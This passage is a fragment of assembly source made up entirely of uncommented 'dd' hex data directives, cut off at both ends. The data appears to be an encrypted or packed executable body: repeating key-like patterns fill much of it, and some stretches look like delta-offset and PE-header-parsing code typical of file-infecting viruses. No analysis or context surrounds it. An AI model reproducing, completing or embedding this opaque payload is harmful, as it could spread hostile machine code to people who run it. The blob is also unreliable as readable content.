0FF006A06h, 441C4D95h, 0EBC08B06h, 33F35D2Bh dd 0FE1F18C2h, 8BE4D73Dh, 0E447A33h, 0A6941399h, 0F4ED61F6h dd 3260D337h, 0CE76EB6Fh, 1CE48A81h, 0DBC9D483h, 3FE0D81h dd 8E8h, 4A7E8000h, 969443B4h, 89858BDCh, 59064409h, 0FC63B866h dd 72BAC181h, 95330000h, 6441665h, 7F6524BEh, 0A9F68147h dd 0B477F79h, 441DC19Dh, 8031FF06h, 505FAFC2h, 0D0D958Bh dd 81580644h, 4D27A8F7h, 8E912h, 52D20000h, 0FB4ED10Dh dd 0C781C699h, 69DBB687h, 81D08B66h, 0FEE886F7h, 419D0154h dd 5706440Ch, 0CDD850Bh, 18F0644h, 83D8BF0Fh, 0BD0904E9h dd 6442F85h, 0F01EE83h, 0FFFFAC85h, 79850BFFh, 5306441Eh dd 5DB13EE8h, 0ACF23256h, 55F20102h, 0ABB13256h, 0D5B13256h dd 0EAE8B4E2h, 75EB9750h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13254h, 57BB3581h, 0ABA33252h dd 0D5A4325Ah, 0E87C3278h, 77F63256h, 0B8F63256h, 565852C3h dd 0D9B13256h, 44B37FB2h, 0C4FF7B06h, 85D0372Ah, 60D16006h dd 7AE362A3h, 0DBE96867h, 52580359h, 0D5B13256h, 67C3CEh dd 58D31F12h, 9A1F1BE6h, 0B2EBD78Ah, 902153C3h, 0DB7959ECh dd 0C0C575D0h, 3751D144h, 2BD0D08h, 4249C6D6h, 0D5B13250h dd 0E7150560h, 2B2CE194h, 9E9DBB37h, 3F9C7601h, 0CFD0AFA5h dd 0DD0AFC0h, 20D1620Eh, 0D5B7DA91h, 1D473256h, 0E633FF32h dd 2B5E8C30h, 0DC215308h, 470AAAB8h, 57B13250h, 86F56580h dd 0B42CC134h, 0BD67A2C6h, 86D31F12h, 0FE386A0Ch, 49583672h dd 72B13256h, 9FDA88B3h, 0DFF6B437h, 355220CBh, 0E68E6CCFh dd 2DEA5803h, 0D70359h, 5EBDAEEh, 8AF5B937h, 57B8DB52h dd 297C3256h, 1B78E2C5h, 6134CEB9h, 75B7DB56h, 5D173256h dd 0DE830FC2h, 0AA9576DFh, 0CBD16006h, 0ABB13FBFh, 2E74356h dd 99539F92h, 0BA9F9B66h, 3BD7570Ah, 0B4337A8Eh, 0AEB13250h dd 4A45F550h, 372C51C4h, 0D5B121BFh, 3F3D8D56h, 24C9E9BCh dd 379585E0h, 0D4216114h, 0EB0D9DD8h, 9319EAD7h, 0AD5875D8h dd 0B3B13256h, 184C66F1h, 7AD0AF15h, 0DAE36267h, 0D803D37h dd 0F4803D04h, 0DE9680Eh, 0ABB16A0Eh, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h dd 0D5B13256h, 0EAB13256h, 75B1DA36h, 3BEB3256h, 17D32EBCh dd 0A434BF50h, 0DEB77B96h, 0E1EE40D4h, 8933BF50h, 63B77888h dd 3FEE44D4h, 0B3FFDA50h, 26593256h, 69B13256h, 1DEE50D4h dd 0ABB13250h, 50776056h, 0ECF530BFh, 0CDE35A00h, 0F4EAEFEh dd 5BF525BFh, 0D91EB7DBh, 874E3411h, 806CB7DFh, 0D1DB3412h dd 0EAA1323Eh, 78F15A56h, 0BADB3255h, 56EBE2A9h, 27824696h dd 1DEE50D4h, 0CD33BB50h, 6CB77809h, 0EAB23F16h, 0B582CADDh dd 0D0E398A5h, 4DB15A52h, 0AED93256h, 3DB13252h, 7623CD56h dd 8FB7767Dh, 0B507B0DFh, 0FED0341Ch, 0F0EE50D3h, 9AD1F150h dd 0EA94F3D4h, 17B13250h, 7A33F556h, 0D5B77679h, 8BB13246h dd 0CF3A5295h, 0BCFB6D34h, 29B10DD5h, 0BECEB175h, 0D4BA4654h dd 0DFB52229h, 0C176B158h, 0AD76D8BDh, 75B13346h, 7D43D956h dd 5DB22211h, 475A3256h, 0DCE4F137h, 0AB5952BAh, 8FB13256h dd 89A0D8D7h, 0C73A341Ch, 0BCFB6DECh, 0D4B977DDh, 1433B150h dd 53B77809h, 0AF73FB37h, 0D5595256h, 0B0B13256h, 1684D8D7h dd 83A341Ch, 5BFB6DE0h, 0F10B806Dh, 6CC5341Ch, 743A0CDDh dd 0D4FE8459h, 6AB075A0h, 0ACB23623h, 639A30BDh, 0D83A7115h dd 0A8F5133Bh, 49ACBFDDh, 738A3412h, 0C8A3B24h, 2C323721h dd 4E78D952h, 33B94699h, 19AF2FEBh, 0CF06D950h, 57595295h dd 0F1B13256h, 0B63CD8D7h, 503A341Ch, 73FB6DE0h, 0BAB032EFh dd 0AE710156h, 1833B9FDh, 0DEB77809h, 0E1EE88D4h, 0B5725350h dd 0EAB132BEh, 9F306856h, 0BCFB51E1h, 5F58B790h, 0C6E73412h dd 83AE5F6Fh, 0BC5887A9h, 503C3412h, 0ECF645F9h, 25E3E2A9h dd 0BA31323Eh, 0A2B15856h, 0E4EE50E4h, 0F61CD50h, 2BB15A0Ch dd 0D5DB3256h, 0B50780A9h, 0A54E341Ch, 31E4F137h, 5D5952BAh dd 0F4B13256h, 33B4D8D7h, 0DE3A341Ch, 0D729DA5Eh, 15E43256h dd 3FEE40C4h, 0CF8A6F50h, 0B55F475Ah, 0AEB130D0h, 5F73FB37h dd 473A6756h, 834DF6D5h, 0EA596101h, 2FB13256h, 0DE88D8D7h dd 283A341Ch, 0BECCB95Eh, 60596401h, 0A0B13256h, 5E904696h dd 784E67AEh, 73FB6D24h, 0B6C4090Bh, 0D6D72022h, 5E56B248h dd 0B4312CDCh, 0AD2CDAA6h, 15A3256h, 24D4FDFh, 8A4ECC0Bh dd 31EF6D0Dh, 9F78CE13h, 25E4325Ah, 0AF75B1BAh, 0F8E06401h dd 0D5497791h, 2DB13256h, 3FEE90D4h, 0BAB13350h, 55C4B956h dd 25AFB930h, 1DEE50ECh, 0A3EEB950h, 0DAC5E95Dh, 0ECC4EC6Dh dd 0FCBD6FDDh, 7D323E09h, 3B5BD942h, 55312CDDh, 99353DBEh dd 2BB13256h, 51BEDBADh, 0EAB13293h, 7A5AC9D6h, 0BAB18ED2h dd 0BF4AB256h, 0AE1DB659h, 0AC313256h, 31353DB5h, 0B3B13256h dd 9D6C9D7h, 7529B659h, 5D313256h, 0A63054A6h, 2ABEB259h dd 57B132C7h, 2B41D1D6h, 51BE42ADh, 0EAB132D3h, 0F5AFB930h dd 4131CAB5h, 0DDF346EEh, 93C53768h, 239C0CD6h, 0C38FB26Eh dd 574E0122h, 0ECFB6DF4h, 0F5AFB930h, 3BD7CAB1h, 2959B3ADh dd 0B03A5476h, 3141D5D6h, 6B30C9D7h, 80D12122h, 0B5C3A0A9h dd 0FCEC341Ch, 39D0CE13h, 28B0CE2Bh, 6F0BB935h, 7B77673h dd 0F413B0DDh, 0E988341Ch, 0BAC36A66h, 5A6088DDh, 31E13412h dd 17EE90D4h, 9E8D0B50h, 0BC8C4D0Eh, 53F4F546h, 0D5B13254h dd 0AF7635BDh, 75B133AEh, 0D80BB956h, 0D6B77809h, 0DA6A3949h dd 226F0949h, 0A7ECB959h, 0D5494FD5h, 0B7B23122h, 71EEBBAEh dd 51A5F5D5h, 0B47101B4h, 0AEB13296h, 0DCAFB930h, 50313E2Bh dd 55BB46BDh, 1131C2B5h, 9EA74626h, 53B6F464h, 5DB07591h dd 25B13256h, 5271B191h, 0ABB1A5BFh, 0D2765456h, 0F43B3A59h dd 0F5BED1D6h, 0E539B29Dh, 5FF6F557h, 0AEB13256h, 9732F5DDh dd 0CDC8D950h, 45210CD7h, 0D4313D22h, 13BF47C6h, 2A4E4CD7h dd 0B6B346C6h, 4576B952h, 0E933BF09h, 0FBB77809h, 0A323CD00h dd 0E1B77809h, 0FEBB4696h, 403BF9Eh, 0B6B77809h, 603A6446h dd 2523CD03h, 0F6B77809h, 0C46FC7Dh, 12CCB108h, 0C5A14757h dd 2D7981Fh, 0F6D7B759h, 0AFF78459h, 0D4AAD9FDh, 0DEB3CA2Bh dd 0DE095445h, 8C1A549Fh, 13353DEEh, 0FC073DFDh, 5F5A9957h dd 693A96A5h, 8EF6B0Dh, 0ABB9F09Fh, 0B55DB903h, 0EAB132BEh dd 9F306856h, 0BCFB54C1h, 0D4B977DDh, 0E4EE58D4h, 95785350h dd 20E43252h, 2D75B1BAh, 0EAB1DA36h, 0F4EB3256h, 0F0D78ABCh dd 0A5F4F550h, 0AEB13256h, 574D7791h, 98B13256h, 0CB3A5496h dd 0B513B091h, 75B0341Ch, 3BD73256h, 2821A2ADh, 464AB256h dd 56B9B659h, 2BF13256h, 51BEDBADh, 0EAB132A8h, 9E4AB216h dd 0BA45B659h, 0DDF13256h, 2FD7C2B1h, 58313DADh, 0ABB1D7D2h dd 0CC333156h, 0AAB7764Ah, 7A53C9D6h, 0BAB1FCD2h, 0BE4AB256h dd 0AE0DB659h, 0D6D73256h, 0A45255ADh, 0D5B188D2h, 1A52B256h dd 7AC1C9D6h, 0BAB187D2h, 433A5456h, 2E49D1D6h, 10C58AADh dd 0DFB40CD6h, 0F88FB214h, 0D4310F22h, 3589463Eh, 0E513B0A9h dd 0D6D7341Ch, 5656B248h, 0D64AB330h, 0CD9546BEh, 32312CDDh dd 113054A6h, 62C5F2D7h, 284E6736h, 5BFB6D24h, 52F4BB0Bh dd 0ABCCB137h, 83343D57h, 5EB13257h, 0AE94F3ECh, 0F73A6250h dd 0BCFB6DF4h, 5810E6Fh, 0AFA0B059h, 0ED3A3256h, 0ADF51D87h dd 7733B906h, 0D3B77809h, 7AE9026Ah, 0BAB1C8D9h, 3B0BB956h dd 2DB77809h, 1DEE54D4h, 9C382650h, 85A175DFh, 0B513B0DDh dd 693A341Ch, 0E5386A66h, 5D64DB5Eh, 0EB763256h, 57B130AEh dd 6CB6D956h, 0D5B0CA13h, 503A3256h, 73FB6D30h, 0E5D7B0D5h dd 0D4A5341Ch, 0BEF6BB61h, 22B2CAD5h, 933F55Ah, 0D7B77809h dd 1B13256h, 7749B153h, 0C7326D2Bh, 46C532AEh, 0AFF78459h dd 57B1B2FFh, 0EBB74756h, 3EB4DAD5h, 0EA4E1F5Eh, 9D323256h dd 0E9BAD953h, 213A8DDh, 0AA3A341Ch, 57186965h, 0DE313256h dd 56773142h, 68B23796h, 73FB6DF4h, 0B2F6BB1Eh, 0B6BD75DFh dd 8569C500h, 0D469C590h, 29B23796h, 0D3FB6DF4h, 0E2F6BB1Eh dd 9EBD75DFh, 30710168h, 0DD193310h, 68B21323h, 0ECB3F2D5h dd 0ABB13257h, 0DCC5E95Dh, 7FBFA8DCh, 9631341Fh, 33723157h dd 1A383A11h, 59A5D95Ah, 574E178Eh, 6D9A3256h, 1532EAA1h dd 0E2F6BB54h, 8DBD75DFh, 0EF72FB37h, 9932DEDDh, 0AE5952AAh dd 0DB13256h, 0C378D8D7h, 6F3A341Ch, 0ECFB6D34h, 4A32FB65h dd 78353D56h, 0D6B13256h, 0A2C4CD51h, 7B947A9h, 0ABB041BEh dd 56B44156h, 85A2691h, 8A4D77DFh, 0CF4E3E23h, 0B586CD5Eh dd 0AEB1330Ah, 5726B059h, 0EE3A3256h, 0DAB60BAAh, 0EAB1BED4h dd 89F4CD56h, 0BAB54DD5h, 22323A22h, 0ACC5325Ah, 0A8093CBDh dd 124ECDA9h, 0D5B13253h, 295A99A5h, 70A14DD5h, 0C5323D22h dd 4CC43446h, 0AAF6B917h, 0BCBD6DDDh, 0AFF6B915h, 3EBD6DDDh dd 0EEF6B96Fh, 4EBD6DDDh, 0AFC43A09h, 59E6B904h, 0ADA1677Dh dd 83A2603h, 286B195Ah dd 3EEB37BDh, 0EEF6B944h, 5EBD6DDDh, 51323609h, 0EC3B3153h dd 2DB77659h, 22B22229h, 729A7357h, 0D4B06EDFh, 154ECDEEh dd 75B48BA9h, 11423256h, 0A24E64BFh, 6C7853A9h, 0DCE43246h dd 5775B1BAh, 0D5B1DA36h, 6BEB3256h, 3FD886BCh, 0D80BB950h dd 6EB77809h, 0AE8EB19Fh, 5720B659h, 0AC3A3256h, 2ABD47A9h dd 2E13A23h, 75B132DEh, 7D323725h, 0D453D942h, 0DB4ECE13h dd 5FC4CD5Ah, 0DA5905A9h, 0A7B13256h, 16F4B93Ch, 16C3356Fh dd 394D77A9h, 29B13629h, 0A2CEB15Eh, 0BCB34656h, 544E8A58h dd 0D008CDA9h, 19B13256h, 0F67AD9FDh, 0CEB42229h, 4DCEB159h dd 0EFA04750h, 0DCB575DDh, 0B65A3E09h, 5EB575DDh, 0F95A3E09h dd 0FEB575DDh, 0E59A3E09h, 585AB152h, 0ADA14DD5h, 7CF03323h dd 0AAEDBB8Fh, 2A4E8A57h, 0EF08CDA9h, 86B13256h, 0DB36D9FDh dd 5DB9F09Fh, 0CE5DB903h, 6CB977DDh, 0A3C33E13h, 0A2A1776Dh dd 0E95ACA55h, 14B1D9AFh, 0BABDF09Fh, 0DE5DB903h, 46D1CE92h dd 57B13256h, 215BB30Ch, 0E6B7783Ch, 636A019Fh, 0CF3ACE0Bh dd 0BCFB6D34h, 29B10DD5h, 518EB132h, 90323723h, 2840D942h dd 0A1B13629h, 0E6CEB15Eh, 9EB34656h, 46F4CD5Eh, 0B6A5F5D5h dd 0BECEB18Dh, 0D4BE4653h, 0DEB72229h, 923A7347h, 0E6EEB952h dd 323A2FBDh, 0B6EEB952h, 1A3A21BDh, 0A2EEB952h, 0D4B56D7Dh dd 0D43237BDh, 0D4C43146h, 63681917h, 0CDB0330Ah, 454ECDA9h dd 5DB137EFh, 451AC156h, 123A53C1h, 0FB72FBAAh, 0D5596107h dd 0B0B13256h, 1EA4D8D7h, 203C341Ch, 5BFB6D2Ch, 0AEB156EEh dd 5763DA56h, 0A03A3256h, 0C15AF36Dh, 0D1B57955h, 76A64097h dd 7B8A221Dh, 5F5A3024h, 0BC5A26BDh, 0A9BEA8DBh, 784E341Ch dd 4F3C3ABDh, 0ECFA3363h, 2CEAE1A9h, 31E4F10Eh, 5DB1DABAh dd 2FEB3256h, 1DDA56BCh, 113C5250h, 0D3FB6D2Ch, 63B977DDh dd 79F4B951h, 31B575DFh, 1A382213h, 0BAF4B95Ah, 36A175DFh dd 0ABA1F09Fh, 3C34F436h, 0ADB77654h, 62C2283Eh, 5304CDFEh dd 0D0B77641h, 0E9C69DD3h, 561CD50h, 0F417B8DBh, 2AE0341Ch dd 683C6886h, 73FB6DF0h, 0B6F18559h, 52E3EADDh, 6DB26867h dd 47A0B0DFh, 0C3D03412h, 0E85251h, 5A000000h, 6BD5EA81h dd 8B52064Ah, 44101182h, 4E6DB906h, 0E1F741C6h, 3039055Ah dd 0FF250000h, 897FFFFFh, 44101182h, 0C3595A06h, 0E85251h dd 5A000000h, 6C05EA81h, 0C88B064Ah, 0FFFFBBE8h, 0F7D233FFh dd 5AC28BF1h, 0C08BC359h, 858DC08Bh, 64A6216h, 8B66D0FFh dd 0CE858DC1h, 89064A6Bh, 440FD985h, 0FE858D06h, 89064A6Bh dd 441E0D85h, 0B806h, 0C00B0000h, 47840Fh, 85C60000h, 64402E9h dd 30DF6856h, 0B5FFA9C5h, 64417E9h, 77AF858Dh, 0D0FF0647h dd 0E98D8D50h, 51064432h, 68046Ah, 0FF000010h, 442519B5h dd 8BD0FF06h, 442519BDh, 3C7F0306h, 0F8C781h, 47C70000h dd 2024h, 799D8D60h, 8B064408h, 0FC00B03h, 584h, 89008B00h dd 0F6B90443h, 8D00234Ch, 4A6D248Dh, 0B19D8B06h, 89064429h dd 442F5D8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 8BB7B6A5h, 7985C7D6h, 0B0064406h dd 89000072h, 44005585h, 59958906h, 0C7064415h, 44107185h dd 6, 0FFFBB200h, 441F39B5h, 61BD8B06h, 0FF064424h, 440BF995h dd 0A5B52906h, 6A064431h, 4D95FF00h, 8B06441Ch, 435DEBC0h dd 0BF017F5Eh, 3E7CA423h, 733DC2B6h, 73E778DDh, 3B27168Fh dd 3C35668Ah, 87162FF6h, 0CB253DD4h, 0AE7D64FBh, 50B333F2h dd 709E15FCh, 896288Dh, 2AF7FF0Dh, 7AEFC43Fh, 9B9ABCF8h dd 9E2DED10h, 41BCD5D8h, 0E76F3EC7h, 0B8372300h, 0DF613878h dd 0DEBD25B7h, 0F155FE07h, 9B6A7Ah, 177708EBh, 2C2h, 6AE90000h dd 6800000Bh, 64A6F26h, 0FADACFE9h, 700C68FFh, 0C5E9064Ah dd 68FFFADAh, 64A719Ch, 0FADABBE9h, 727F68FFh, 0B1E9064Ah dd 68FFFADAh, 64A73F7h, 0FADAA7E9h, 760A68FFh, 9DE9064Ah dd 68FFFADAh, 64A771Bh, 0FADA93E9h, 123589FFh, 0CCEB5477h dd 17308AA9h, 0CDEA5172h, 11368BA8h, 41B86074h, 9DBEDBFCh dd 42610423h, 9AB9DCFBh, 0E1600522h, 0AE902682h, 0F0A73161h dd 0CDEA5277h, 4A6DD5F6h, 9956052Fh, 0A0215EFAh, 9C003DE7h dd 0E3A903A7h, 9B20316Fh, 0A299BE03h, 0BA99A23Eh, 0CA7CD800h dd 0ED316FE3h, 0F3D6ED71h, 87C72A52h, 0EF1EF626h, 5D77F2C6h dd 3Fh, 0C7A05BDAh, 0B6D700A4h, 0F66A3DE7h, 0C8C369CDh dd 8829316Fh, 535C1254h, 48791EF1h, 0FCC7E059h, 7849FC60h dd 77F2B955h, 6BDD791Ah, 8F316FFDh, 7E7DF132h, 0F66AE772h dd 0DC0143h, 52860000h, 8DAECDEAh, 0B32F1433h, 0BF0A2D90h dd 7CC4E784h, 49FC605Bh, 0CBF0D76Ah, 13348BA8h, 0A53D85A6h dd 27043F18h, 0BB27BB9Ch, 3C1BA380h, 0CC85FD59h, 0B008372Bh dd 69D1F297h, 0C6A315B1h, 873A372Bh, 2DB12DA0h, 0F5D26D4Eh dd 0BF09ADCEh, 80372BC6h, 0E35801Ch, 0DBB87524h, 5C6740F8h dd 0B21675C0h, 3DE7CB15h, 97BDD844h, 0B680BE4h, 5B09728h dd 0A12358A1h, 7DC0E33Bh, 61FD615Ah, 0F72F6102h, 0C907B8BBh dd 53EECD78h, 0C95572CBh, 15328FACh, 6C2B9187h, 38BD865Dh dd 903h, 8AEFC874h, 543116A9h, 8FEACD77h, 553017ACh, 89ECCB76h dd 1BCDD9Dh, 0DE604326h, 6BF9CF9h, 0DF674421h, 7F1C9DF8h dd 61AC6DDBh, 82055231h, 0ADC8EF52h, 7552EDCEh, 7C5BE3C0h dd 0A05B9E19h, 0D700A4C7h, 6A3DE7B6h, 0C369CDF6h, 29316FC8h dd 2D405488h, 377F2E0h, 0D7h, 0CDEA5284h, 0DF69CDAEh, 0E0372BC3h dd 0C65A7DC3h, 0D66B4873h, 166ECAF1h, 0BF372BCCh, 66452007h dd 14A206DEh, 0E8372BC7h, 0DCB76904h, 0AB880520h, 37AB3710h dd 0BA73260Ch, 6344FAD9h, 6DD8FF40h, 0F54E6D0Eh, 64C367D2h dd 0B53DE7A3h, 533DE0FBh, 0F652B5CCh, 316F1440h, 0C277EB77h dd 9CB6D34Fh, 0C76300DDh, 3BA1FB2Fh, 0D4F79408h, 56754E69h dd 68F4CFE8h, 12241F4h, 0DDFE9BBCh, 0F9D54760h, 0E25D6D94h dd 81D5CD9h, 0E25E0000h, 3C83A0C5h, 0E75D7E1Bh, 3D86A5C0h dd 0E15C7F1Ah, 3B7A3C6h, 6500279Ah, 0BADFF846h, 62072099h dd 0BBDEF941h, 4BFD593Ah, 6C3161B3h, 0EF52BC3Bh, 3088ABC8h dd 0C3FA4CE8h, 21BD372Bh, 0AF1A86BDh, 7651E9CAh, 0E8537013h dd 52FD7ACFh, 0E0AECDEAh, 0C47112C2h, 2B10A5E0h, 0F297B008h dd 274421D8h, 0E7DE9083h, 3407493Dh, 0EF036F5Bh, 0FA66EB5Eh dd 7D5AE2C1h, 0A2853D1Eh, 0E9517217h, 9A51F5CEh, 13B8A115h dd 91B289AEh, 1133082Fh, 6D258CB0h, 2E9690CCh, 0F74F6C09h dd 3CA28902h, 83A09C3Fh, 0E3801C3Bh, 0ED922480h, 86A5BAA1h dd 3085193Eh, 0ED04AF0Bh, 2D8CBAA1h, 0AE8931F1h, 7750EECDh dd 65D04Ch, 1C822D63h, 989C7931h, 91B60E2Dh, 2DA10EAAh dd 0C465BAA1h, 348DAE98h, 1B42813h, 0D8BD9A22h, 5F6443FBh dd 8B6A723Ch, 5A59EBDDh, 5916C5EFh, 85A2193Ah, 13305330h dd 9C388DAAh, 0B06D449Bh, 0A535F0BEh, 37BB6784h, 0E50D2593h dd 1A861AA4h, 12C9E386h, 76553655h, 0FB5FEACDh, 0AE295C40h dd 64C0FB67h, 0AD393ECFh, 0BE568627h, 0E423E98Fh, 359FDh dd 88D97A00h, 4F2C09B0h, 0E7CE78EBh, 34317F3Dh, 0C3268765h dd 93A88F34h, 860F930Fh, 583FC822h, 18A281BEh, 0F9A08A3Fh dd 68FB5F3Ch, 61BAB41Bh, 6FDAFD42h, 6F457EE2h, 3490F3ACh dd 0B073E36Dh, 0D4F79408h, 0D2E4B6Ch, 0FA0092B5h, 2FC239C7h dd 68D9114h, 72CE0000h, 0AC133055h, 77CDEE8Bh, 0AD163550h dd 71CCEF8Ah, 73273356h, 0F590B70Ah, 2A4F68D6h, 0F297B009h dd 2B4E69D1h, 0DB6DC9AAh, 0DC3161B2h, 5C120C8Bh, 4A6A2CC7h dd 80AA1F77h, 0DB7F1CD9h, 3DE785C8h, 5E1073EFh, 405E6493h dd 0AF942183h, 7013348Ch, 0F0CBEC53h, 5E4226Ch, 2AAA47D7h dd 9CFFA49Fh, 4EF500BFh, 0F898E5E2h, 0E27E45D9h, 0D5C6F657h dd 642A4926h, 2E214472h, 99FA4FF0h, 0A34E2E3Dh, 0B0D5493Bh dd 370C2B93h, 0B08BAC14h, 1B0B3392h, 0D0E184A3h, 71ADE4BDh dd 26593h, 0BFBEF000h, 0CD7BDF07h, 0F23BA251h, 2E96206Eh dd 5BE562D7h, 0A4C7A0h, 3DE1553Eh, 0DDFE9D01h, 1224760h dd 0DBF89BBCh, 0E37F4463h, 60C96D56h, 0E53161AEh, 5F78C55Dh dd 85A151C3h, 0B18A57ACh, 5AA34h, 0B6912D00h, 684FF0D3h dd 0B3942E0Dh, 694EF5D6h, 0B5922F0Ch, 0E514C4D0h, 391A7F58h dd 0E6C5A087h, 3E1D785Fh, 45C4A186h, 0B1348226h, 5C0B3161h dd 0C7A05BDBh, 553E00A4h, 9D013DE1h, 4166DDFEh, 6853E67Ah dd 4D06F34Bh, 65A7008Bh, 0D3E553F7h, 46DA3161h, 2346DAh dd 0B89F20B8h, 843C1F24h, 228EC0A3h, 82D66D44h, 23013A8Fh dd 10A85A82h, 111A5437h, 5CBA468h, 0F5C4A114h, 77EC6ADAh dd 19DB6h, 0EA523100h, 0DB95F6CDh, 0A162BAD1h, 5073C6F9h dd 80AACFE8h, 5C7F1CD9h, 5FE6C5E2h, 0AAECD78h, 3DE73175h dd 0B71328B4h, 316F711Dh, 6E2656F7h, 77F2353Fh, 392Dh dd 0A05BAA00h, 0C32A9C38h, 910D372Bh, 172C0BB2h, 0D074178Bh dd 3DE7B607h, 0FE9DA63Ah, 5D0281B0h, 3A8CC2E5h, 0BA1EABF0h dd 316F4610h, 71235BFAh, 77F2665Eh, 0C732h, 0EA52B500h dd 68D5F6CDh, 0B20F2C4Fh, 781B2095h, 4E7A7336h, 7ECB9056h dd 993DE55Dh, 372B392Fh, 2B108C10h, 2F45B008h, 2017E43Dh dd 132A1658h, 0D9885845h, 0FC842045h, 91372BFEh, 6CD2F129h dd 48EC704Bh, 372BF4FEh, 0C17E5DC1h, 351F7AE6h, 6ECAA986h dd 3DE51A00h, 0FBD8BB27h, 0FF466542h, 2D0E6DD8h, 65156590h dd 5D733D8Eh, 6DD54FF9h, 70EC7031h, 17AA89ECh, 0FEACA230h dd 0CAF157A0h, 4324Fh, 3E19A500h, 0E0C7785Bh, 3B1CA685h dd 0E1C67D5Eh, 3D1AA784h, 6D8C4C58h, 0B192F7D0h, 6E4D280Fh dd 0B695F0D7h, 0CD4C290Eh, 0B0BC0AAEh, 0D4833161h, 0C8EF5253h dd 9ADCEADh, 372BC3BFh, 8AA91C80h, 0F7701532h, 0AECDEA52h dd 0C72954E0h, 0DD87D2CCh, 3D0A449Eh, 2C17A2EAh, 0F590B70Fh dd 290EB596h, 2A03B69Ch, 10EAED49h, 910D3DE7h, 3787C9AAh dd 0ED32685Ch, 8915328Ch, 5A2C983Ch, 19B8316Fh, 0A88534E5h dd 24E6A8CBh, 0BEF19F02h, 4641E550h, 973BA3E1h, 9DD0DED9h dd 11AF48B1h, 7DE4AA36h, 62B1348Ch, 76EA67D2h, 71129413h dd 2BC363D5h, 7DC85437h, 0FAC1E65Eh, 0E85EFA99h, 0CF372BC3h dd 7DC5E653h, 9A77395Ah, 399815CCh, 3294CF9h, 9FFC9F58h dd 2B708D3Bh, 2991B237h, 35A9350Eh, 3847E380h, 0FF3DE713h dd 3F738CB1h, 19DC864h, 81349E3Ah, 7FDE316Fh, 0A53A553Fh dd 4A1677F2h, 91000000h, 0C178A05Bh, 599B6A34h, 79E5FA84h dd 0F52286E5h, 843DE726h, 63402318h, 0EF4BFED9h, 316F5845h dd 6F5473CCh, 0E8D3F44Ch, 0CFE85774h, 13D9CF4h, 1F5FFEBEh dd 0F2505A75h, 0D0741777h, 316F5466h, 3270C559h, 115h dd 893112B5h, 0C343F551h, 0E874372Bh, 66D34F74h, 0E1DAFD45h dd 3B587FC2h, 1D02A675h, 0B104A29Dh, 42A7E98Ah, 1B577DFEh dd 2098BB0Eh, 0A71F3C07h, 7EC0E380h, 4BFE6259h, 6BF28A2Eh dd 239B372Bh, 0FA426104h, 0EAF0BEDDh, 80C75972h, 1D3A85A6h dd 0D3F093A8h, 62034D6Ah, 105D1502h, 0A05B71C4h, 0E258C078h dd 0FE62FEC5h, 76A50162h, 13DE73Bh, 27D2F89Dh, 0B30E2D4Eh dd 8EE1AF94h, 0F1AF3D25h, 9CFF4AD6h, 0A1B35838h, 70CEED3Bh dd 45F06C57h, 143754C8h, 5B388DAAh, 0B91DC578h, 3BA0800Fh dd 378FAC30h, 8CEF8C10h, 0A0809E28h, 883DA13Bh, 15AD8EEDh dd 8814338Dh, 84A31E3Dh, 6DAB5216h, 0F97C475Dh, 21Fh, 0A6C3E458h dd 781D3A85h, 0A3C6E15Bh, 791C3B80h, 0A5C0E75Ah, 2D9009B1h dd 0F24C6F0Ah, 2A93B0D5h, 0F34B680Dh, 5330B1D4h, 61B541F7h dd 0A6217631h, 0AC8B3112h, 0A0873A19h, 0FCE8A6C5h, 4A6DD284h dd 0D4C44B04h, 0D86D4AF7h, 16443FBh, 0C7A05B86h, 0D563C7A4h dd 0EA372BC3h, 5E9F63A4h, 3CA03ABFh, 994EEA89h, 983DE772h dd 319B3F04h, 0DB316F0Ch, 189DF6B8h, 0D55F0910h, 64D14D6Ah dd 0E7A999C5h, 0CD888A17h, 0DAEB5E28h, 77F247B3h, 0E299h dd 0EA521E00h, 68D5F6CDh, 0A8D0744Fh, 3D372BCCh, 0E4C7A285h dd 6A407B5Ch, 3195F6AFh, 3DE7A4E2h, 0C0E7587Bh, 0FF4467FBh dd 0CA7FE3D8h, 9BB8DB47h, 0D2B70225h, 30B641F8h, 1708360h dd 803692F1h, 0B7316F4Fh, 70D4B72Bh, 3BA1A171h, 385B38A4h dd 0AA50A51Bh, 7D3459C2h, 0FCB28915h, 0BDFCAF35h, 8F3AA6B2h dd 533611ACh, 41F75330h, 763BA09Ch, 0C17C5FEAh, 0B72674E6h dd 0E8D35D6Dh, 10E6Dh, 0D2F54900h, 0C2B94B7h, 0D7F04A69h dd 0D2A91B2h, 0D1F64B68h, 81F8A0B4h, 5D7E1B3Ch, 82A1C4E3h dd 5A791C3Bh, 21A0C5E2h, 0B450E642h, 30673161h, 0C8EF52B7h dd 0C26AE5ABh, 5B9398D9h, 0ABE5BD84h, 0BBE7A2Bh, 0F8430D6Eh dd 0E1ABAAh, 2E96B500h, 36E452F6h, 9135372Bh, 372B3627h dd 95098418h, 52EB6C09h, 0D5F6CDEAh, 0E5E986Dh, 0E9D4EF1Dh dd 0D24E7552h, 0F7D06D4Eh, 0A9CC50CCh, 1BA0D883h, 79B073Ch dd 0F2C064h, 59C53DE1h, 0A533743Ah, 457E59E3h, 6C0697D9h dd 0C6E5DE6Bh, 1F3C597Eh, 1FBB80A7h, 3DE9741Eh, 6BC9FFCh dd 